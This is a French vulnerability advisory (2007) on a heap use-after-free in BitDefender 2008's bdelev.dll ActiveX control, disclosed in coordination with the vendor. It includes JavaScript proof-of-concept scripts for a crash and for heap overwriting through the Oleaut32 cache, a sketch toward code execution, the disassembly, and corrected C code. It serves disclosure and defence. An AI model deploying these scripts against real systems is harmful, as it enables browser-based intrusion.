BitDefender 2008
Corruption du Heap

Fournisseur:
BitDefender - SOFTWIN

Système affecté:
BitDefender Antivirus 2008
BitDefender Internet Security 2008
BitDefender Total Security 2008

Chronologie de divulgation :
03/12/2007 : Notification initiale chez le fournisseur.
03/12/2007 : Réponse initiale du fournisseur.
11/12/2007 : Divulgation publique en accord avec le fournisseur.

Introduction :

Il existe dans l'application BitDefender Antivirus 2008 une erreur de programmation. A partir d'un script, cette erreur engendre une corruption du heap dans tous les cas. Mais elle donne aussi la possibilité d'écrire dans le heap et ainsi d'exécuter du code arbitraire.

Description générale :

Le problème existe dans le module **bdelev.dll version 11.0.0.9** de BitDefender Antivirus 2008. Ce module est à la fois une dll native et un module ActiveX. C'est-à-dire qu'il contient différentes méthodes qu'il exporte en natif par le biais de sa table export mais également par le biais de sa bibliothèque de types. Cette dernière permet d'appeler les méthodes à partir d'une simple page html contenant un langage de script tel que javascript ou vbscript.

Il existe une fonction nommé **Proc_GetName_PSAPI().** Cette fonction renvoie à partir d'un ProcessID, le chemin du module principal du process. La chaine renvoyée est un Variant de type BSTR.
La fonction est du type **HRESULT Proc_GetName_PSAPI(DWORD p_This, DWORD Pid_IN, VARIANT* pVar_OUT).**

Pour se faire, la fonction crée un Variant local de type BSTR afin d'y récupérer le chemin du fichier. Ensuite, le Variant local est copié dans le Variant passé en paramètre (pVar_OUT). pVar_OUT est alors transmis à l'appelant. En javascript, c'est ce Variant qui est alors renvoyé au script.

L'erreur vient de la manière dont sont copiés les 2 Variant. En effet, pour ce genre d'objet qui contient des pointeurs vers des entités, un clonage complet est indispensable.

Malheureusement, les Variant sont copiés simplement sur leur 1er niveau (membres à membres). Ensuite, le Variant local est nettoyé AINSI QUE SES ENTITES avant de retourner.

Conséquences :

La fonction **Proc_GetName_PSAPI()** renvoie toujours un Variant de type BSTR qui pointe vers une chaine dans un block mémoire qui vient d'être libéré.
Il y a alors conflit car le système a conscience du block libre mais javascript n'en a pas conscience. Et lors de séances de nettoyage mémoire du GarbageCollector, celui-ci demandera à libérer ce block une deuxième fois.

Démonstration :

```
// POC (DOS)
this.bitdefender = new ActiveXObject('bdelev.ElevatedHelperClass.1');
for (pid=0; pid<4000; pid+=4)
{
    try
    {
        var Module_Path = bitdefender.Proc_GetName_PSAPI (pid);
    }
    catch(e) {}
    CollectGarbage();
}
```

Possibilité :

Avec javascript, la gestion des String (Variant de type BSTR) se fait à travers Oleaut32 qui travaille avec un cache mémoire. Ceci permet une optimisation en évitant d'allouer/désallouer des blocks mémoires couramment utilisés pour des chaines. Ce cache est géré à travers un tableau de pointeurs de block mémoire du heap.
En jouant avec cette particularité, il est alors possible d'écrire arbitrairement des données dans le block libéré sans que javascript n'en ait conscience.

Démonstration :

```
this.Oleaut32 = new Array();
this.Oleaut32["cache"] = new Array();
this.base = "A";
while (base.length<0x8000) base+= base;
this.base = base.substring (0, (0x8000-6)/2);
CollectGarbage();
// Fill the cache with block of maximum size
for (i=0;i<6;i++)
{
    this.Oleaut32["cache"].push(base.substring (0, (0x20-6)/2));
    this.Oleaut32["cache"].push(base.substring (0, (0x40-6)/2));
    this.Oleaut32["cache"].push(base.substring (0, (0x100-6)/2));
    this.Oleaut32["cache"].push(base.substring (0, (0x8000-6)/2));
}

this.bitdefender = new ActiveXObject('bdelev.ElevatedHelperClass.1');

// free cache of oleaut32
delete Oleaut32["cache"];
CollectGarbage();

// POC
for (pid=0;pid<4000;pid+=4)
{
    try
    {
        // Find first Module_Path
        var Module_Path = bitdefender.Proc_GetName_PSAPI (pid);

        // Display the original string in free block memory
        ////////////////////////////////////////////////
        alert (Module_Path);  ->  C:\Windows\...  (exemple)
        ////////////////////

        // Uses free block
        var y = base.substring(0,Module_Path.length);

        // Display the result of the crushing of the memory
        ////////////////////////////////////////////////
        alert (Module_Path);  -> AAAAAAAAAAA...
        ////////////////////
        break;
```

```
    }
    catch(e) {}
}
```

Les deux appels à **alert(Module_Path)** n'affichent pas le même résultat alors que le **Variant Module_Path** n'est pas modifié entre ces deux appels !

Cette possibilité donne des perspectives pour écraser des données et ainsi exécuter du code arbitrairement.

Concept **:**

```
// Créer un Variant qui pointe sur un block libre et qui est
// répertorié dans le cache de Oleaut32
var Module_Path = bitdefender.Proc_GetName_PSAPI (pid);

// -> Appel un script qui utilise le block libre en y plaçant un objet OBJ
//    contenant par exemple une interface (ne doit pas utiliser Oleaut32)

// Ecrase l'objet avec des données arbitraires (utilisation du cache de Oleaut32)
var y = base.substring(0,Module_Path.length);

// -> faire en sorte que OBJ utilise son interface corrompue.
```

Le comportement de la gestion du heap ainsi que du GarbageCollector de javascript sont très difficile en anticiper.
Mais rediriger le registre eip (sans contrôle de sa valeur) vers du code invalide ou une plage mémoire inaccessible est chose aisé.
En utilisant une autre technique que le concept exposé, j'ai pu exploiter cette faille en exécutant du code arbitraire d'une manière intéressante mais non fiable à 100%. Ceci a été exploité avec un Système Windows XP-SP2 et Internet Explorer 7.

Cet ActiveX n'est pas marqué "safe for scripting". Son utilisation engendrera donc un message d'alerte avec les options activées par défaut dans Internet Explorer.

Description technique :

```
.text:10009470 ; int __stdcall GetModulePathByProcessID(int p_This,int Pid_IN,void *pVar_OUT)
.text:10009470 Varg_Local= VARIANTARG ptr -30h
.text:10009470 String_Local= dword ptr -20h
.text:10009470 Stack_Cookie= dword ptr -4
.text:10009470 p_This= dword ptr  4
.text:10009470 Pid_IN= dword ptr  8
.text:10009470 pVar_OUT= dword ptr  0Ch
.text:10009470
.text:10009470     sub esp, 30h
.text:10009473     mov eax, dword_100186AC
.text:10009478     xor eax, esp
.text:1000947A     mov [esp+30h+Stack_Cookie], eax
.text:1000947E     push ebx
.text:1000947F     push esi
.text:10009480     mov esi, [esp+38h+pVar_OUT]
.text:10009484     push edi
.text:10009485     mov edi, [esp+3Ch+p_This]
.text:10009489     lea ecx, [esp+3Ch+String_Local]
.text:1000948D     call ds:basic_string$char_traits@_$Constructor
.text:10009493     mov eax, [edi+0Ch]
.text:10009496     mov eax, [eax+10h]
.text:10009499     lea edx, [esp+3Ch+String_Local]
.text:1000949D     lea ecx, [edi+0Ch]
.text:100094A0     push edx
.text:100094A1     mov edx, [esp+40h+Pid_IN]
.text:100094A5     push edx
.text:100094A6     call eax      ; call Native GetModulePathByProcessID
.text:100094A8     mov ebx, eax
.text:100094AA     test ebx, ebx
.text:100094AC     jl  short loc_1000952C
.text:100094AE     push ebp
.text:100094AF     lea ecx, [esp+40h+Varg_Local]
.text:100094B3     push ecx                              ; pvarg
.text:100094B4     call ds:VariantInit
.text:100094BA     lea ecx, [esp+40h+String_Local]
.text:100094BE     call ds:Get_basic_string.c_str(void)
.text:100094C4     mov ebp, ds:VariantClear
.text:100094CA     lea edx, [esp+40h+Varg_Local]
.text:100094CE     push edx                              ; pvarg
```

```
.text:100094CF     mov edi, eax
.text:100094D1     call ebp ; VariantClear
.text:100094D3     test eax, eax
.text:100094D5     jge short loc_100094DD
.text:100094D7     push eax
.text:100094D8     call ThrowError
.text:100094DD loc_100094DD:
.text:100094DD     test edi, edi
.text:100094DF     mov word ptr [esp+10h], 8
.text:100094E6     jnz short loc_100094F0
.text:100094E8     xor eax, eax
.text:100094EA     mov [esp+24], eax
.text:100094EE     jmp short loc_1000950D
.text:100094F0 loc_100094F0:
.text:100094F0     push edi                             ; OLECHAR *
.text:100094F1     call ds:SysAllocString
.text:100094F7     test eax, eax
.text:100094F9     mov [esp+24], eax
.text:100094FD     jnz short loc_1000950D
.text:100094FF     push E_OUTOFMEMORY
.text:10009504     call ThrowError
.text:10009509     mov eax, [esp+24]
.text:1000950D
.text:1000950D loc_1000950D:
.text:1000950D
;
; Error! Copy member to member the Local String Variant in the Out String Variant !
;
.text:1000950D     mov ecx, [esp+16]
.text:10009511     mov edx, [esp+20]
.text:10009515     mov [esi], ecx
.text:10009517     mov [esi+4], edx
.text:1000951A     mov [esi+8], eax
.text:1000951D     mov eax, [esp+28]
.text:10009521     lea ecx, [esp+40h+Varg_Local]
.text:10009525     push ecx                 ; pvarg
.text:10009526     mov [esi+0Ch], eax
.text:10009529     call ebp                 ; call VariantClear -> The string is freed with SysFreeString(BSTR).
.text:1000952B     pop ebp
.text:1000952C
.text:1000952C loc_1000952C:
.text:1000952C     lea ecx, [esp+3Ch+String_Local]
.text:10009530     call ds:basic_string$char_traits@_$Destructor
.text:10009536     mov ecx, [esp+34h+p_This]
.text:1000953A     pop edi
.text:1000953B     pop esi
.text:1000953C     mov eax, ebx
.text:1000953E     pop ebx
.text:1000953F     xor ecx, esp
.text:10009541     call sub_1000C4DE
.text:10009546     add esp, 30h
.text:10009549     retn 0Ch
.text:10009549 GetModulePathByProcessID endp ; sp =  8
```

Asm -> C :

```
HRESULT GetModulePathByPid (VARIANT* p_OUT_var, DWORD Pid)
{
	std::wstring string_module_path;
	VARIANT var_module_path;

	// Get module path by ProcessId
	////////////////////////////////////////////////
	HRESULT result = _GetModulePathByPid (Pid, &string_module_path);

	if (result==S_OK)
	{
		HRESULT result_clear;

		// Initialise local VARIANT
		//////////////////////////////////////
		VariantInit (&var_module_path);
		result_clear = VariantClear(&var_module_path);
		if ( result_clear!=S_OK ) throw result_clear ;

		// Create BSTR VARIANT from std::wstring
		//////////////////////////////////////
		var_module_path.vt = VT_BSTR;
		if (string_module_path.c_str() != NULL)
		{
```

```
                var_module_path.bstrVal = SysAllocString((OLECHAR*)string_module_path.c_str());
                if(var_module_path.bstrVal == NULL) throw E_OUTOFMEMORY;
            }
            else var_module_path.bstrVal = NULL;

            // Copy local VARIANT to return VARIANT
            ////////////////////////////////////////

            // Error ! ///////////////////////
            //
            // Copy simply the members
            // -> the 2 Variants points towards the same chain in memory
            //(*p_OUT_var) = var_module_path;

            // -> vt member is VT_BSTR. The string is freed with SysFreeString(BSTR).
            // VariantClear(&var_module_path);

            // Consequence: The return BSTR Variant points towards a plage of memory
            // which has just been released !!!

            // Correct code with a copy by cloning of the local Variant
            ///////////////////////////////////////////////////////////
            HRESULT result_copy;
            // p_OUT_var is a BSTR. A copy of the string is made.
            result_copy =  VariantCopy(p_OUT_var, &var_module_path);
            if (result_copy!=S_OK) throw result_copy;
            VariantClear(&var_module_path);
            ////////////////////////////////////////
        }
        return result;
}
```

Merci d'avoir lu ce papier jusqu'au bout. :)

That's all folks !
11 décembre 2007
Lionel d'Hauenens - www.laboskopia.com –

http://creativecommons.org/licenses/by-nc/3.0/